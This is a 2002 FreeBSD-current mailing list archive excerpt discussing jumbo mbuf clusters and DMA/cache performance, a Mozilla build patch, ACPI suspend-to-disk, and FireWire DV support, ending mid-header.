List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Thu, Jun 20, 2002 at 12:25:58PM -0400, Andrew Gallatin wrote:
[...]
>  > > Do you think it would be feasable to glue in a new jumbo (10K?)
>  > > allocator on top of the existing mbuf and mcl allocators using the
>  > > existing mechanisms and the existing MCLBYTES > PAGE_SIZE support
>  > > (but broken out into separte functions and macros)?
>  > 
>  >   Assuming that you can still play those VM tricks with the pages spit
>  > out by mb_alloc (kern/subr_mbuf.c in -CURRENT), then this wouldn't be a
>  > problem at all.  It's easy to add a new fixed-size type allocation to
>  > mb_alloc.  In fact, it would be beneficial.  mb_alloc uses per-CPU
>  > caches and also makes mbuf and cluster allocations share the same
>  > per-CPU lock.  What could be done is that the jumbo buffer allocations
>  > could share the same lock as well (since they will likely usually be
>  > allocated right after an mbuf is).  This would give us jumbo-cluster
>  > support, but it would only be useful for devices clued enough to break
>  > up the cluster into PAGE_SIZE chunks and do scatter/gather.  For most
>  > worthy gigE devices, I don't think this should be a problem.
> 
> I'm a bit worried about other devices.. Tradidtionally, mbufs have
> never crossed page boundaries so most drivers never bother to check
> for a transmit mbuf crossing a page boundary.  Using physically
> discontigous mbufs could lead to a lot of subtle data corruption.

  I assume here that when you say "mbuf" you mean "jumbo buffer attached
to an mbuf."  In that case, yeah, all that we need to make sure of is
that the driver knows that it's dealing with non-physically-contiguous
pages.  For what concerns regular 2K mbuf clusters as well as the 256
byte mbufs themselves, they never cross page boundaries so this should
not be a problem for those drivers that do not use jumbo clusters.

> One question.  I've observed some really anomolous behaviour under
> -stable with my Myricom GM driver (2Gb/s + 2Gb/s link speed, Dual 1GHz
> pIII).  When I use 4K mbufs for receives, the best speed I see is
> about 1300Mb/sec.  However, if I use private 9K physically contiguous
> buffers I see 1850Mb/sec (iperf TCP).
> 
> The obvious conclusion is that there's a lot of overhead in setting up
> the DMA engines, but that's not the case; we have a fairly quick chain
> dma engine.  I've provided a "control" by breaking my contiguous
> buffers down into 4K chunks so that I do the same number of DMAs in
> both cases and I still see ~1850 Mb/sec for the 9K buffers.  
> 
> A coworker suggested that the problem was that when doing copyouts to
> userspace, the PIII was doing speculative reads and loading the cache
> with the next page.  However, we then start copying from a totally
> different address using discontigous buffers, so we effectively take
> 2x the number of cache misses we'd need to.  Does that sound
> reasonable to you?  I need to try malloc'ing virtually contigous and
> physically discontigous buffers & see if I get the same (good)
> performance...

  I believe that the Intel chips do "virtual page caching" and that the
logic that does the virtual -> physical address translation sits between
the L2 cache and RAM.  If that is indeed the case, then your idea of
testing with virtually contiguous pages is a good one.
  Unfortunately, I don't know if the PIII is doing speculative
cache-loads, but it could very well be the case.  If it is and if in
fact the chip does caching based on virtual addresses, then providing it
with virtually contiguous address space may yield better results.  If
you try this, please let me know.  I'm extremely interested in seeing
the results!

> Cheers,
> 
> Drew

Regards,
-- 
Bosko Milekic
bmilekic@unixdaemons.com
bmilekic@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 11:17:12 2002
Delivered-To: freebsd-current@freebsd.org
Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id BC63637B404; Thu, 20 Jun 2002 11:17:02 -0700 (PDT)
Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30])
	by duke.cs.duke.edu (8.9.3/8.9.3) with ESMTP id OAA08166;
	Thu, 20 Jun 2002 14:16:58 -0400 (EDT)
Received: (from gallatin@localhost)
	by grasshopper.cs.duke.edu (8.11.6/8.9.1) id g5KIGSZ30476;
	Thu, 20 Jun 2002 14:16:28 -0400 (EDT)
	(envelope-from gallatin@cs.duke.edu)
From: Andrew Gallatin <gallatin@cs.duke.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15634.7164.58371.9141@grasshopper.cs.duke.edu>
Date: Thu, 20 Jun 2002 14:16:28 -0400 (EDT)
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: "Kenneth D. Merry" <ken@kdm.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
In-Reply-To: <20020620134723.A22954@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org>
	<xzpelf3ida1.fsf@flood.ping.uio.no>
	<20020619090046.A2063@panzer.kdm.org>
	<20020619120641.A18434@unixdaemons.com>
	<15633.17238.109126.952673@grasshopper.cs.duke.edu>
	<20020619233721.A30669@unixdaemons.com>
	<15633.62357.79381.405511@grasshopper.cs.duke.edu>
	<20020620114511.A22413@unixdaemons.com>
	<15634.534.696063.241224@grasshopper.cs.duke.edu>
	<20020620134723.A22954@unixdaemons.com>
X-Mailer: VM 6.75 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Bosko Milekic writes:
 > > 
 > > I'm a bit worried about other devices.. Tradidtionally, mbufs have
 > > never crossed page boundaries so most drivers never bother to check
 > > for a transmit mbuf crossing a page boundary.  Using physically
 > > discontigous mbufs could lead to a lot of subtle data corruption.
 > 
 >   I assume here that when you say "mbuf" you mean "jumbo buffer attached
 > to an mbuf."  In that case, yeah, all that we need to make sure of is

Yes.  

 > that the driver knows that it's dealing with non-physically-contiguous
 > pages.  For what concerns regular 2K mbuf clusters as well as the 256
 > byte mbufs themselves, they never cross page boundaries so this should
 > not be a problem for those drivers that do not use jumbo clusters.

But it would be problematic if we used the 10K jumbo cluster in
so_send() like I'd like to.  Ah, the pains of legacy code... :-(

I'm also having a little trouble convincing myself that page-crossing
jumbo clusters would be safe in all scenarios.  I suppose if you were
to make the transmit logic in all drivers which supported jumbo frames
clueful, then using them for receives would be safe.

 > > One question.  I've observed some really anomolous behaviour under
 > > -stable with my Myricom GM driver (2Gb/s + 2Gb/s link speed, Dual 1GHz
 > > pIII).  When I use 4K mbufs for receives, the best speed I see is
 > > about 1300Mb/sec.  However, if I use private 9K physically contiguous
 > > buffers I see 1850Mb/sec (iperf TCP).
 > > 
 > > The obvious conclusion is that there's a lot of overhead in setting up
 > > the DMA engines, but that's not the case; we have a fairly quick chain
 > > dma engine.  I've provided a "control" by breaking my contiguous
 > > buffers down into 4K chunks so that I do the same number of DMAs in
 > > both cases and I still see ~1850 Mb/sec for the 9K buffers.  
 > > 
 > > A coworker suggested that the problem was that when doing copyouts to
 > > userspace, the PIII was doing speculative reads and loading the cache
 > > with the next page.  However, we then start copying from a totally
 > > different address using discontigous buffers, so we effectively take
 > > 2x the number of cache misses we'd need to.  Does that sound
 > > reasonable to you?  I need to try malloc'ing virtually contigous and
 > > physically discontigous buffers & see if I get the same (good)
 > > performance...
 > 
 >   I believe that the Intel chips do "virtual page caching" and that the
 > logic that does the virtual -> physical address translation sits between
 > the L2 cache and RAM.  If that is indeed the case, then your idea of
 > testing with virtually contiguous pages is a good one.
 >   Unfortunately, I don't know if the PIII is doing speculative
 > cache-loads, but it could very well be the case.  If it is and if in
 > fact the chip does caching based on virtual addresses, then providing it
 > with virtually contiguous address space may yield better results.  If
 > you try this, please let me know.  I'm extremely interested in seeing
 > the results!


Thanks for your input.  I'll post the results when I get to it.
I'm working on an AIX driver right now and I need to finish that
before I have any playtime.. (AIX is utterly bizzare;
pagable kernel, misleading docs, etc, etc)


Thanks again,

Drew

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 11:23: 8 2002
Delivered-To: freebsd-current@freebsd.org
Received: from gyros.marcuscom.com (dhcp-64-102-60-51.cisco.com [64.102.60.51])
	by hub.freebsd.org (Postfix) with ESMTP id 9008F37B407
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 11:23:05 -0700 (PDT)
Received: from gyros.marcuscom.com (localhost [127.0.0.1])
	by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5KIMioe000733;
	Thu, 20 Jun 2002 14:22:44 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Received: (from marcus@localhost)
	by gyros.marcuscom.com (8.12.3/8.12.3/Submit) id g5KIMicm000732;
	Thu, 20 Jun 2002 14:22:44 -0400 (EDT)
X-Authentication-Warning: gyros.marcuscom.com: marcus set sender to marcus@marcuscom.com using -f
Subject: Re: The -current state of mozilla affairs
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: freebsd-current@FreeBSD.ORG
Cc: Sean Chittenden <sean@chittenden.org>
In-Reply-To: <20020620102527.C55653@dragon.nuxi.com>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com>
	<20020619232135.D37593@ninja1.internal> 
	<20020620102527.C55653@dragon.nuxi.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 20 Jun 2002 14:22:44 -0400
Message-Id: <1024597364.329.26.camel@gyros.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, 2002-06-20 at 13:25, David O'Brien wrote:
> On Wed, Jun 19, 2002 at 11:21:35PM -0700, Sean Chittenden wrote:
> > -#if defined(__FreeBSD_cc_version) && \
> > + #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) && \
> >      (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
> >  #define CFRONT_STYLE_THIS_ADJUST
> 
> Please add a comment why you chose these __FreeBSD_cc_version values.
> What is special about 500003?  500003 is 5.0-CURRENT after buf/bio
> changes, *years* ago.  Perhaps you wanted another value from
> http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/freebsd-versions.html

Fear not.  I'm modifying the patch.  Proper documentation will be
included.

Joe

> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 
-- 
PGP Key : http://www.marcuscom.com/pgp.asc

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 11:36:49 2002
Delivered-To: freebsd-current@freebsd.org
Received: from srv1.cosmo-project.de (srv1.cosmo-project.de [213.83.6.106])
	by hub.freebsd.org (Postfix) with ESMTP id 419FF37B40C
	for <CURRENT@freebsd.org>; Thu, 20 Jun 2002 11:36:46 -0700 (PDT)
Received: from warpgondel (pD9517D22.dip.t-dialin.net [217.81.125.34])
	(authenticated bits=0)
	by srv1.cosmo-project.de (8.12.3/8.12.3) with ESMTP id g5KIaeSb022878;
	Thu, 20 Jun 2002 20:36:42 +0200 (CEST)
	(envelope-from plexus@snafu.de)
X-Authentication-Warning: srv1.cosmo-project.de: Host pD9517D22.dip.t-dialin.net [217.81.125.34] claimed to be warpgondel
Message-ID: <002801c21889$a9a5d980$0495fea9@warpgondel>
From: "Fischer, Oliver" <plexus@snafu.de>
To: <CURRENT@freebsd.org>
Cc: <plexus@snafu.de>
Subject: [OT] ACPI based support for suspend to disk?
Date: Thu, 20 Jun 2002 20:37:35 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello,

is there a upcomming feature similar to W2K's ability to
suspend the current state of the machine to a disk and to
restore it from there?

Thanks,

Oliver



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 11:39: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP id 5850837B408
	for <CURRENT@freebsd.org>; Thu, 20 Jun 2002 11:39:01 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id 456FC3198DB; Thu, 20 Jun 2002 13:39:04 -0500 (CDT)
Date: Thu, 20 Jun 2002 13:39:04 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: "Fischer, Oliver" <plexus@snafu.de>
Cc: CURRENT@freebsd.org
Subject: Re: [OT] ACPI based support for suspend to disk?
Message-ID: <20020620183904.GB98233@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: "Fischer, Oliver" <plexus@snafu.de>,
	CURRENT@freebsd.org
References: <002801c21889$a9a5d980$0495fea9@warpgondel>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <002801c21889$a9a5d980$0495fea9@warpgondel>
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 08:37:35PM +0200, Fischer, Oliver wrote:
> Hello,
> 
> is there a upcomming feature similar to W2K's ability to
> suspend the current state of the machine to a disk and to
> restore it from there?

I believe it already exists, it just depends on your bios as to 
whether you need a fat partition or if you can use UFS.

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 12: 5:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from scotch.ucf.ics.uci.edu (scotch.ucf.ics.uci.edu [128.195.23.4])
	by hub.freebsd.org (Postfix) with ESMTP id 718AF37B404
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 12:05:49 -0700 (PDT)
Received: from whiskey.ucf.ics.uci.edu (whiskey.ucf.ics.uci.edu [128.195.23.9])
	by scotch.ucf.ics.uci.edu (Postfix) with ESMTP id 2D7FC149C7
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 12:05:49 -0700 (PDT)
Received: from whiskey.ucf.ics.uci.edu (localhost [127.0.0.1])
	by whiskey.ucf.ics.uci.edu (8.10.2+Sun/8.10.2) with ESMTP id g5KJ5ml15476
	for <freebsd-current@freebsd.org>; Thu, 20 Jun 2002 12:05:48 -0700 (PDT)
Message-Id: <200206201905.g5KJ5ml15476@whiskey.ucf.ics.uci.edu>
To: freebsd-current@freebsd.org
Reply-To: sjh@ucf.ics.uci.edu
X-Message-Flag: Microsoft sucks, switch to UNIX
Subject: FireWire for DV anyone?
Date: Thu, 20 Jun 2002 12:05:48 -0700
From: Seth Hettich <sjh@whiskey.ucf.ics.uci.edu>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I see that this may work for linux, but are any -current people
using this "for real" (not just toy applications)?

I was just given a Sony DV camera, and I thought I should at least
make an attempt to hook it up to the computer.

-Seth

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 14:24:33 2002
Delivered-To: freebsd-current@freebsd.org
Received: from srv1.cosmo-project.de (srv1.cosmo-project.de [213.83.6.106])
	by hub.freebsd.org (Postfix) with ESMTP id 4262837B4EE
	for <CURRENT@freebsd.org>; Thu, 20 Jun 2002 14:23:29 -0700 (PDT)
Received: from warpgondel (pD9E0E4CA.dip.t-dialin.net [217.224.228.202])
	(authenticated bits=0)
	by srv1.cosmo-project.de (8.12.3/8.12.3) with ESMTP id g5KLNPMZ008257;
	Thu, 20 Jun 2002 23:23:26 +0200 (CEST)
	(envelope-from plexus@snafu.de)
X-Authentication-Warning: srv1.cosmo-project.de: Host pD9E0E4CA.dip.t-dialin.net [217.224.228.202] claimed to be warpgondel
Message-ID: <012e01c218a0$f3fccc20$0495fea9@warpgondel>
From: "Fischer, Oliver" <plexus@snafu.de>
To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Cc: <CURRENT@freebsd.org>
References: <002801c21889$a9a5d980$0495fea9@warpgondel> <20020620183904.GB98233@leviathan.inethouston.net>
Subject: Re: [OT] ACPI based support for suspend to disk?
Date: Thu, 20 Jun 2002 23:25:07 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

You are right. My PC supports this via BIOS too. The
disadvantage is, that the bios handle it. I like W2K's
feature to do it ACPI based (?). This gives my the freedom
to suspend my W2K to disk and to reboot with FBSD. Later I
reboot again and choose W2K and it restores it previous
state. If the bios does it, it restores always the last
suspended OS.

Bye

Oliver

----- Original Message -----
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: "Fischer, Oliver" <plexus@snafu.de>
Cc: <CURRENT@freebsd.org>
Sent: Thursday, June 20, 2002 8:39 PM
Subject: Re: [OT] ACPI based support for suspend to disk?


> On Thu, Jun 20, 2002 at 08:37:35PM +0200, Fischer, Oliver
wrote:
> > Hello,
> >
> > is there a upcomming feature similar to W2K's ability to
> > suspend the current state of the machine to a disk and
to
> > restore it from there?
>
> I believe it already exists, it just depends on your bios
as to
> whether you need a fat partition or if you can use UFS.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 15:21:48 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by hub.freebsd.org (Postfix) with SMTP id 827DF37B406
	for <CURRENT@FreeBSD.ORG>; Thu, 20 Jun 2002 15:21:36 -0700 (PDT)
Received: (qmail 7178 invoked by uid 0); 20 Jun 2002 22:21:34 -0000
Received: from pd950a5f2.dip.t-dialin.net (HELO gmx.net) (217.80.165.242)
  by mail.gmx.net (mp013-rz3) with SMTP; 20 Jun 2002 22:21:34 -0000
Message-ID: <3D125544.8020603@gmx.net>
Date: Fri, 21 Jun 2002 00:20:52 +0200
From: Michael Nottebrock <michaelnottebrock@gmx.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Fischer, Oliver" <plexus@snafu.de>
Cc: "David W. Chapman Jr." <dwcjr@inethouston.net>,
	CURRENT@FreeBSD.ORG
Subject: Re: [OT] ACPI based support for suspend to disk?
References: <002801c21889$a9a5d980$0495fea9@warpgondel> <20020620183904.GB98233@leviathan.inethouston.net> <012e01c218a0$f3fccc20$0495fea9@warpgondel>
X-Enigmail-Version: 0.61.1.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enig97C804B2B6DB7342C13D4288"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The following is an OpenPGP/MIME signed message
created by Enigmail/Mozilla, following RFC 2440 and RFC 2015
--------------enig97C804B2B6DB7342C13D4288
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Fischer, Oliver wrote:
> You are right. My PC supports this via BIOS too. The
> disadvantage is, that the bios handle it. I like W2K's
> feature to do it ACPI based (?). This gives my the freedom
> to suspend my W2K to disk and to reboot with FBSD. Later I
> reboot again and choose W2K and it restores it previous
> state. If the bios does it, it restores always the last
> suspended OS.

AFAIR, the Win2k-Suspend2Disk is not ACPI-based.


-- 
Michael Nottebrock
"The circumstance ends uglily in the cruel result." - Babelfish

--------------enig97C804B2B6DB7342C13D4288
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9ElVJXhc68WspdLARAlzTAJwMO1zZgAUMMOcVDpbCy3RjYqz+3ACfSJpN
NV2hO6XiWiNXHxsLrnLQIrY=
=3fXu
-----END PGP SIGNATURE-----

--------------enig97C804B2B6DB7342C13D4288--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 17:18:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from petasus.ch.intel.com (petasus.ch.intel.com [143.182.124.5])
	by hub.freebsd.org (Postfix) with ESMTP id 9ACB637B428
	for <CURRENT@FreeBSD.ORG>; Thu, 20 Jun 2002 17:18:33 -0700 (PDT)
Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129])
	by petasus.ch.intel.com (8.11.6/8.11.6/d: solo.mc,v 1.42 2002/05/23 22:21:11 root Exp $) with SMTP id g5KHLB918081
	for <CURRENT@FreeBSD.ORG>; Thu, 20 Jun 2002 17:21:11 GMT
Received: from fmsmsx019.fm.intel.com ([132.233.42.130])
 by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2002062017173123325
 ; Thu, 20 Jun 2002 17:17:31 -0700
Received: by fmsmsx019.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <NH8J8YG7>; Thu, 20 Jun 2002 17:18:31 -0700
Message-ID: <59885C5E3098D511AD690002A5072D3C02AB7F4E@orsmsx111.jf.intel.com>
From: "Grover, Andrew" <andrew.grover@intel.com>
To: "'Michael Nottebrock'" <michaelnottebrock@gmx.net>,
	"Fischer, Oliver" <plexus@snafu.de>
Cc: "David W. Chapman Jr." <dwcjr@inethouston.net>,
	CURRENT@FreeBSD.ORG
Subject: RE: [OT] ACPI based support for suspend to disk?
Date: Thu, 20 Jun 2002 17:18:25 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

> From: Michael Nottebrock [mailto:michaelnottebrock@gmx.net] 
> > You are right. My PC supports this via BIOS too. The
> > disadvantage is, that the bios handle it. I like W2K's
> > feature to do it ACPI based (?). This gives my the freedom
> > to suspend my W2K to disk and to reboot with FBSD. Later I
> > reboot again and choose W2K and it restores it previous
> > state. If the bios does it, it restores always the last
> > suspended OS.
> 
> AFAIR, the Win2k-Suspend2Disk is not ACPI-based.

Win2k suspend to disk (STD) (aka hibernate aka ACPI S4) is using ACPI. ACPI
defines 2 kinds of STD, S4 and S4BIOS. S4 is completely done by the
operating system, and then uses the ACPI interface to turn the system off.
S4BIOS...uses the BIOS, usually to a dedicated suspend partition.

Having the OS save the system image to disk is generally considered the way
to go. But of course that requires that your OS have that added capability.

So yes I guess you *are* right in that ACPI doesn't actually do the suspend
to disk, but it is involved in the process.

Regards -- Andy

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 18: 2: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from axe-inc.co.jp (axegw.axe-inc.co.jp [61.199.217.66])
	by hub.freebsd.org (Postfix) with ESMTP id 7B7F637B40B
	for <current@freebsd.org>; Thu, 20 Jun 2002 18:01:55 -0700 (PDT)
Received: from axe-inc.co.jp (takawata@[192.47.224.47])
	by axe-inc.co.jp (8.9.3+3.2W/3.7W) with ESMTP id KAA14708;
	Fri, 21 Jun 2002 10:01:49 +0900 (JST)
Message-Id: <200206210101.KAA14708@axe-inc.co.jp>
To: Michael Nottebrock <michaelnottebrock@gmx.net>
Cc: current@freebsd.org
Subject: Re: [OT] ACPI based support for suspend to disk?
In-reply-to: Your message of "Fri, 21 Jun 2002 00:20:52 +0200."
             <3D125544.8020603@gmx.net>
Date: Fri, 21 Jun 2002 10:02:07 +0900
From: Takanori Watanabe <takawata@axe-inc.co.jp>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In message <3D125544.8020603@gmx.net>, Michael Nottebrock wrote:
>Fischer, Oliver wrote:
>> You are right. My PC supports this via BIOS too. The
>> disadvantage is, that the bios handle it. I like W2K's
>> feature to do it ACPI based (?). This gives my the freedom
>> to suspend my W2K to disk and to reboot with FBSD. Later I
>> reboot again and choose W2K and it restores it previous
>> state. If the bios does it, it restores always the last
>> suspended OS.
>
>AFAIR, the Win2k-Suspend2Disk is not ACPI-based.

I put my FreeNIX2002 paper at freefall.
My comment about this topic is at 
http://people.freebsd.org/~takawata/acpipaper/acpi_freenix/node22.html


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 18:36:43 2002
Delivered-To: freebsd-current@freebsd.org
Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4])
	by hub.freebsd.org (Postfix) with ESMTP
	id B910A37B413; Thu, 20 Jun 2002 18:35:43 -0700 (PDT)
Received: from dsto-ms2.dsto.defence.gov.au (dsto-ms2.dsto.defence.gov.au [131.185.2.150])
	by digger1.defence.gov.au (8.10.1/8.10.1) with ESMTP id g5L1YIS24119;
	Fri, 21 Jun 2002 11:04:18 +0930 (CST)
Received: from muttley.dsto.defence.gov.au (unverified) by dsto-ms2.dsto.defence.gov.au
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83b902965b9ec1f5e6@dsto-ms2.dsto.defence.gov.au>;
 Fri, 21 Jun 2002 11:05:35 +0930
